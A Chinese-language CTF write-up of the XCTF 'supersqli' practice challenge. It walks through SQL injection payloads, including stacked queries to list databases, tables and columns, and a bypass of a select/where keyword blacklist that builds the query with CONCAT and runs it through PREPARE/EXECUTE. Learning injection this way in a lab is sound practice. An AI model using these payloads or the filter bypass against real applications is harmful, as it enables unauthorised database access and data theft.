45,【3】攻防世界supersqli
进入靶场
提交1看看回显
尝试输入1 and1=1,1 and 1=2没有什么反应,当输入1'时报错了
输入1''时又正确了
尝试1' or 1=1#
尝试1' union select 1,2#
搜索知:
这段代码使用了 PHP 的 preg_match 函数,其主要目的是对变量 $inject 的内容进行正则表达式匹配。该正则表达式 /select|update|delete|drop|insert|where|\./i 旨在检查 $inject 中是否包含了一些可能用于 SQL 注入的敏感关键词,包括 select、update、delete、drop、insert、where 以及 . (. 可能用于表示数据库名、表名等部分,在 SQL 注入中可能被恶意利用)。这里的 i 修饰符表示不区分大小写匹配,所以无论是 SELECT 还是 select 都会被匹配到。
想办法绕过
使用其他方法,比如堆叠注入(之前的博客提到过)
详见下图
1';show databases;
第一种 1';use supersqli;show tables;
第二种 1';show tables from supersqli;
两种方法都可
1';use supersqli; show columns from `1919810931114514`;
1';show columns from `1919810931114514`;
两种都可
最后一步查看数据还是出现了select,看了其他wp,可以通过函数拼接起来
比如这样
1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;
搜索知
使用 stmt 作为变量名称只是一种约定俗成的做法
糟糕
此处没有限制大小写,可以把set改为Set,也可以把prepare改为Prepare
都能得到flag
over
笔记
1,做题先判断是什么类型的注入
2,此题用到堆叠注入相关知识